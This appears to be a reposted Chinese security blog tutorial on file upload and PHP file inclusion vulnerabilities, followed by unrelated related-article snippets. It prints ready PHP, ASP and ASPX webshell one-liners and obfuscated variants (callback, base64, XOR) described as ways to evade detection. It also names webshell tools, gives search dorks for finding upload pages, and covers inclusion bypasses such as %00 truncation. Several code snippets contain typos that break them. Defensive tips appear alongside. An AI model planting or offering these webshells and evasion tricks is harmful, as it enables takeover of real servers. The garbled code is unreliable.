文件上传和文件包含

news2024/11/5 7:06:22

声明:

本文章只是适用于网络安全教学,请自觉遵守网络安全法,严禁用于非法途径,若读者做出来任何危害网络安全的行为,后果自负,均与本人无关.

文件上传:

大部分的网站和应用系统都有上传的功能,如用户头像上传,图片上传,文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀名以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意的php文件,并能够讲这些文件传递给PHP解释器,就可以通过远程服务器上执行任意的PHP脚本。
当系统存在文件上传漏洞的时候,攻击者可以将病毒,木马,webshell,其他恶意脚本或者包含了脚本的图片上传的服务器,这些文件将对攻击者后续攻击提供便利,根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后的这几类脚本。

产生的原因:

用户上传文件的时候,没有对其进行严格的过滤,使攻击者可以利用这种情况进行
1.服务器配置错误
2.开源编码器漏洞
3.本地上传限制不严格
4.服务器过滤不严格

文件上传的危害:

  1. 上传文件时病毒或者木马的时候,主要是用于诱骗用户或者管理员下载执行或者直接自动运行
  2. 上传文件时webshell的时候,攻击者可以通过这些页面后门执行命令并且控制服务器
  3. 上传是恶意其他的脚本的时候,攻击者可以直接执行脚本进行攻击
  4. 上传文件时恶意图片的时候,攻击者可以直接执行脚本进行攻击
  5. 上传的文件时恶意图片的时候,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行
  6. 上传文件时伪装成正常后缀的恶意脚本的时候,攻击者可以借助本地文件包含漏洞(Local File Include)执行改文件。例如将bad.php文件改名bad.doc上传到服务器,然后通过PHP的inculde,inclue_once,require,require_once等函数包含执行。

文件上传漏洞判断:

1.看是不是二次渲染,看有没有经过两次
二次渲染:吧上传的文件,生成一个新的文件。
2.猜测验证
3.没有漏洞就看中间件

文件上传漏洞如何去查找:

黑盒(用户角度)
1.扫描工具
2.通过网站给的应用
3.网站后台
白盒(对特定程序内部进行测试)
1.代码分析

文件上传漏洞绕过:

1.绕过黑名单,拒绝扩展名:.asa,asax.asp,aspx,asmx,ashx,exe
2.漏网之鱼:c.cer证书 c.cdx复合索引
3.绕过后缀替换为空 replace(“php”,“”) c.pHp c.phphpp burp:c.php. burp:c.php
4.c.php::$DATA 权限维持:隐藏后门,绕过D盾检测

文件上传功能:

上传头像、上传资源、上传图片、上传附件

常用工具:

中国菜刀、中国蚁剑、冰蝎、weelevy、godzilla

防御方法:

1.白名单判断文件后缀是否合法
2.文件上传的目录设置为不可执行
3.判断文件类型
4.使用随机数改写文件名和文件路径
5.单独设置服务器文件域名
6.使用安全设备防御(WAF、防火墙)

常用的木马植入方式:

1.以文件的形式上传的服务器
上传文件可以利用mysql的into outfile,表单上传等方式
2.以字符串的形式上传到服务器
通过mysql的日志方式,shell的echo方式,命令执行,反序列化。

文件包含:

简单的说就是服务器通过PHP的特性(函数的特性)去包含任意文件的时候,由于对包含的这个文件来源过滤不严,从而可以去包含一个恶意的文件,而我们构造的这个恶意文件来达到"邪恶"的目的,(从而读取服务器的敏感文件等)
是代码注入的一种,注入需要一端用户能控制的脚本或者代码,并且让服务器执行,尝尝出现在一些流行的web开发语言中,如JSP,PHP,ASP 以PHP为例,常见的文件包含函数 include(),include_once(),reqire(),reqire_once,fopen(),readfile()

漏洞原理:

简单地说,就是把多个文件,用各种方法包含在一个文件里。程序开发人员通常会把可是重复使用的反函数写到单个文件中,在使用某些函数的时候,直接调用此文文件,无需再次编写,这种调用文件的过程一般称为文件包含。
allow_url_include:如果开启了这个参数,攻击者可以配合文件上传包含PHP代码的任何文件,通过文件包含漏洞,从而进行恶意文件。

  • allow_url_include:是否允许include()和require()函数包含URL(HTTP,HTTPS)作为文件处理。
  • allow_url_fopen:参数是否允许url(http,https)作为文件打开处理

前提:

  • allow_url_fopen:on
  • allow_url_include:on
    这两个参数都是on的情况下,文件包含漏洞是成功的。
<?php $filename=$_GET['page']; incule($filename); ?>

上面的代码,GET请求参数"page"传给了一个变量filename,包含了这个变量,没有对$_GET['page']的值,包含自己想看文件。(文件路径一定要对,不对的话包含不了。)

文件包含漏洞的成因:

PHP文件包含有以下几种:

  • require()
    require_once()
    require开头的函数如过包含的文件语法有问题,程序就会中断执行。
  • include()
    include_once()
    include开头的函数,如果包含文件语法有问题,程序还会继续执行。
    include有返回值,require没有返回值

PHP文件包含类型:

1、可以包含本地文件
相对路径
file=…/…/…/b.php
绝对路径:
file:///c:/Users/20855/destop/
2、可以包含远程文件(必须服务器开启了远程包含的功能)

PHP配置文件:php.ini
allow_url_include=on

文件包含的函数:

HTML5文件包含

能包含CSS: 能包含JS:<script
src=‘xxxxx’xxxxx.js’'>

include():文件包含失败后,报警告错误,后面的代码会执行。
include_once():包含文件时候,先做着一个检测,如果前面的文件以后包含就不再执行。
require():文件包含失败后,报致命错误,后面的代码不会执行。
require_once():包含文件的时候,先做一个检测,如果前面的文件有包含就不再执行。
文件包含漏洞分为两个类型:一个是本地包含一个远程包含。

文件包含漏洞的危害:

1.包含独处目标机器上的其他文件(系统文件等)
2.包含可以运行的PHP木马
3.包含一个创建的PHP文件
4.提权

文件包含的伪协议:(请求协议)

1.php://      可以获取post原生数据(php://input) 将目标文件的源码进行加密读出(在get请求最后面输入要传入的php命令即可)  
2.file://      浏览器访问本地文件的协议
3.data://    数据流封装器,传递响应格式的数据,通常可以用来执行PHP代码
4.phar://    执行文件压缩中的文件
5.zip://      执行文件压缩中的文件

文件包含绕过:

1.URL编码绕过:当某些执行符号设置为空的时候,可以利用编码或者双写绕过。
2.特殊字符绕过:同上
3.%00截断;当后缀名被给执行的文件类型的时候,可以利用%00截断
4.路径长度截断

文件包含漏洞的利用条件:

1.程序用include()等文件包含通过动态变量的方式引入所要包含的文件
2.用户能够控制该动态变量
3.要保证php.ini中的allow_url_fopen和allow_url_include都为on(远程文件包含)

如何防护文件包含漏洞:

1.使用str_raplace等方式过滤掉危险的字符
2.配置open_basedire,防止目录遍历
3.PHP版本升级,防止%00截断
4.对文件进行重命名,防止被读取
5.对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6.做好管理员权限分化,做好文件的权限管理。

常用的请求方法:

1.利用工具在请求头中getshell
文件包含获取原生数据: pup://input
请求头中:<?php@eval($_POST['cmd'];?>

图片马+文件包含漏的功能

通过上传图片马,集合文件包和漏洞上传webshell
php、ASP、ASPX一句话木马

1、PHP
<?php @eval($_POST['cmd']);?>
2、ASP
<%eval request("pass")%>
3、ASPX
<%@ Page Language="jscript"%> <%eval(Request.ltem["pass"],"unsafe");%>
eval函数,是把一串字符串作为PHP代码执行,<?php @eval($_POST['cmd']);?>把cmd换成操作系统命令就可以对系统进行操作。

木马变形:

PHP语法中eval,比如assert函数也可以执行代码
命令执行函数system、passthru、exec、shell_exec等

双变量绕过:

<?php $_POST['a']($_POST['b']);?>
a=assert$ b=phpinfo()

字符串绕过:

<?php
$a=substr_replace(string:"assxxx",replace:"ert",offset:3)
$a=($_POST['cmd']);
?>
subsrt_replace这个函数把字符串的一部分替换为另一个字符串

定义函数绕过:

<?php
functiion test($a){
    $a($_POST['cmd']);
}
test(a:"assert);
?>

指调用函数的时候,将另一个函数作为参数传递到调用的函数中
功能:使用回调函数,是为了可以将一段自定义的功能传递到函数内部使用

<?
function test($func,$param){
    reutrn $fun($param);
}
test(func:'assert',$_POST['cmd']);
?>

<?php call_user_func($)POST['a'],$_POST['b']);?>
call_user_func:PHP内置回调函数
$_POST['a']:传递函数名
$_POST['b']:参数

类绕过:
<?php
class test{
    var $a;
    var $b;
      function_ _construct($a,$b){
               $this-> a = $a;
               $this-> b = $b;
             }
             function demo(){
                      array_map($this->a,$this->b);
             }
}
$t = new test(a:'assert',array($_POST['cmd']));
$t->demo();
?>
array_map:调用函数
$t->demo();:创建对象后,调用demo函数

编码绕过
<?php
$a=base64_decode(($_POST['cmd']));
assert($a);
?>

特殊字符干扰绕过:
<?php
$a=("!"^"@")."ssert";
$a=($_POST['cmd']);
?>

无字符特征码绕过
<?php
$_=("$"^"{").("~"^".").("/"^"`").("-"^''~").("("^"|");
${$_}['a'](${$_}['b']);
?>
${$_}['a'](${$_}['b']);:等效于$_POST['a']($_POST['b']);
两个字符串进行异或运算时,会转成二进制,完成之后,在换回字符串

常用的绕过方式:

1.JS代码删除即可
2.检查后缀的

搜索文件上传的语法:

搜索登录页面

1、inurl:upload.php
2、搜索PHP CMS(管理平台,管理操作系统)
inurl:index.php?m=member
这种类型的代码叫mime类型,它的作用是客户端与服务器交流时发送的实例数据类型。
[‘type’]=‘image/jpeg’
MIME:多用途互联网邮件扩展类型

MIME常见类型:

text/html:HTML格式
application/json:json数据格式
multipart/form-data:文件上传(二进制数据)
image/jpeg:jpg图片的格式
注释: <! – 内容–>

客户端使用:

1.GET请求不需要这个字段
2.POST请求,放在content type指定上传的文件类型,方便服务器解析,放在accept,告诉服务端允许接受的响应类型,比如只能接受json或者其他

服务端使用:

1、放在响应头里面,告诉客户端响应的数据类型,方便客户解析
等价扩展名:
asp:ashx,asmx,ascx
php:php2、php3、php4、php5、phps、phtml
jsp:jspx、jspf

结语:

一些关于文件上传和文件包含的总结,一个好的攻击手法往往都是上传和包含结合起来使用,当然也要根据实际情况来看,这里只为和各位师傅们交流学习! 希望对各位师傅们有帮助!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2232411.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sparkSQL面试题

一、查询所有数学课程成绩大于语文课程成绩的学生学号 数据 1,yuwen,43 1,shuxue,55 2,yuwen,77 2,shuxue,88 3,yuwen,98 3,shuxue,65 3,yingyu,88 基本步骤&#xff1a; 进行行转列比较语文与数学的成绩 SQL代码&#xff1a; with t1 as(SELECT id,sum(if(name yuwen,sc…

金融标准体系

目录 基本原则 标准体系结构图 标准明细表 金融标准体系下载地址 基本原则 需求引领、顶层设计。 坚持目标导向、问题导向、结果 导向有机统一&#xff0c;构建支撑适用、体系完善、科学合理的金融 标准体系。 全面系统、重点突出。 以金融业运用有效、保护有力、 管理高…

Spring Boot解决 406 错误之返回对象缺少Getter/Setter方法引发的问题

目录 前言1. 问题背景2. 问题分析2.1 检查返回对象 3. 解决方案3.1 确保Controller返回Result类型3.2 测试接口响应 4. 原理探讨5. 常见问题排查与优化建议结语 前言 在Spring Boot开发中&#xff0c;接口请求返回数据是系统交互的重要环节&#xff0c;尤其在开发RESTful风格的…

如何自学机器学习?

自学机器学习可以按照以下步骤进行&#xff1a; 一、基础知识准备 数学基础&#xff1a; 高等数学&#xff1a;学习微积分&#xff08;包括导数、微分、积分等&#xff09;、极限、级数等基本概念。这些知识是后续学习算法和优化方法的基础。 线性代数&#xff1a;掌握矩阵…

SQL,力扣题目1709,访问日期之间最大的空档期

一、力扣链接 LeetCode_1709 二、题目描述 表&#xff1a; UserVisits ------------------- | Column Name | Type | ------------------- | user_id | int | | visit_date | date | ------------------- 该表没有主键&#xff0c;它可能有重复的行 该表包含用户访问…

C# 日志框架 NLog、log4net 和 Serilog对比

文章目录 前言NLog、log4net 和 Serilog 三个框架的详细对比:一、NLog优点:缺点:二、 log4net优点缺点三、Serilog优点缺点四、Serilog使用举例总结前言 NLog、log4net 和 Serilog 三个框架的详细对比: NLog、log4net 和 Serilog 是三个非常流行的 .NET 日志框架,它们各自…

电路设计过程就是波形整形过程

这种说法有一定的道理。在电路设计中&#xff0c;常常需要对输入的电信号波形进行处理和调整&#xff0c;以满足后续电路或系统的要求&#xff0c;这在某种程度上可以理解为波形整形的过程。 例如&#xff0c;在数字电路中&#xff0c;输入的信号可能存在噪声、干扰或者不符合…

系统架构设计师(软考高级)一站式通关课程

系统架构设计师&#xff08;软考高级&#xff09; 一站式通关课程 系统架构设计师&#xff08;软考高级&#xff09;教程&#xff08;三连评论分享链接&#xff01;&#xff09; &#x1f3af; 课程亮点&#xff1a; 全面覆盖&#xff1a; 从基础概念到高级应用&#xff0c;涵盖…

源码阅读心得---如何从零开始阅读一个框架的源码

写在前头&#xff0c;菜鸟作者的一些碎碎念&#xff1a; 回想自己2022年研三第一次去实习的时候&#xff0c;是到了一个数据库小组&#xff0c;是一个做数据库内核的小组&#xff0c;leader分配的目标是先把read/write流程搞明白。第一次出校实习&#xff0c;一来就是直接读内核…

Java项目实战II基于Java+Spring Boot+MySQL的体育馆使用预约平台的设计与实现(源码+数据库+文档)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 随着全民健…

创新材料科技:铜冷却壁助力高炉节能降耗

高炉用铜冷却壁是高炉内部的一种构件&#xff0c;通常用于高炉的炉身部分。它的主要功能是在高炉冶炼过程中冷却炉壁&#xff0c;以防止炉壁过热。铜冷却壁通常由铜制成&#xff0c;因为铜具有良好的导热性和耐腐蚀性&#xff0c;能够有效地将热量从高炉内部传导到外部&#xf…

衡石分析平台最佳实践-开发场景之分层级嵌入

分层级嵌入 平台整体嵌入 在这种应用场景中&#xff0c;把所有功能通过 iframe 的方式都开放给登陆用户&#xff0c;嵌入的示例如下&#xff1a; html <iframename""src"https://preview.hengshi.com/app/1"> </iframe> 1 2 3 4 单个模…

Balluff EDI 项目需求分析

电子数据交换&#xff08;EDI&#xff0c;Electronic Data Interchange&#xff09;是一种通过电子方式在不同组织之间交换商业文档的技术和标准。它涉及使用标准格式的电子文档&#xff0c;如订单、发票、运输单据等&#xff0c;以实现自动化的数据传输。这种技术通常依赖于专…

C++ 手写常见的任务定时器

序言 最近在编写 C 的服务器代码时&#xff0c;我遇到了一个需求&#xff0c;服务器很可能会遇到那些长期不活跃的连接&#xff0c;这些连接占用了一定的资源但是并没有进行有效的通信。为了优化资源使用&#xff0c;我决定实现一个定时器&#xff0c;以便定期检查连接的活跃状…

后端Java学习:springboot之文件上传(阿里云OSS存储)

一、什么是阿里云存储&#xff1f; 阿里云对象存储OSS&#xff08;Object Storage Service&#xff09;&#xff0c;是一款海量、安全、低成本、高可靠的云存储服务。使用OSS&#xff0c;您可以通过网络随时存储和调用包括文本、图片、音频和视频等在内的各种文件。 二、阿里云…

2024年前三季度币安、OKX等五大交易所上币表现分析

随着加密市场竞争的加剧&#xff0c;头部交易所逐渐在上币策略、代币选择、交易活跃度等方面采取了不同的应对策略。Animoca Digital Research近期发布的一份报告&#xff0c;通过对币安、OKX、Bitget、KuCoin和Bybit五大交易所2024年前三季度的上币情况进行了详细分析。本文将…

嵌入式linux系统中串口驱动框架分析

大家好,今天主要给大家分享一下,如何使用linux系统中的串口实现。 第一:串口基本简介 串口是很常见的一个外设,在Linux下通常通过串口和其他设备或传感器进行通信。根据电平的不同,串口可以分为TTL和RS232。不管是什么样的电平接口,驱动程序是一样的。 第二:Linux下UAR…

服务器内存不够导致postgresql进程被kill的问题记录

服务器环境&#xff1a;Centos7.9&#xff0c;PGSQL14 故障现象 平均负载飙升至80以上 磁盘 IO 高: 故障期间磁盘 IO 明显增加 同步异常: 主从库的复制出现问题&#xff0c;从库自动提升为主库 排查过程 磁盘 IO&#xff1a;使用 iostat查看磁盘 IO 活动&#xff0c;发现磁盘…

解决方案:e1000e eno1 Detected Hardware Unit Hang

在 Proxmox 6.5.11-8 中&#xff0c;偶发性会出现以下报错&#xff0c;尤其是在进行大文件传输后&#xff1a; [97377.240263] e1000e 0000:00:1f eno1: Detected Hardware Unit Hang:TDH <22>TDT <2f>next_to_use &l…

Nature文章《deep learning》文章翻译

这篇文章是对Nature上《deep learning》文章的翻译。原作者 Yann LeCun, Yoshua Bengio& Geoffrey Hinton。 这篇文章的中心思想是深入探讨深度学习在机器学习中的革命性贡献&#xff0c;重点介绍其在特征学习、监督学习、无监督学习等方面的突破&#xff0c;并阐述其在图…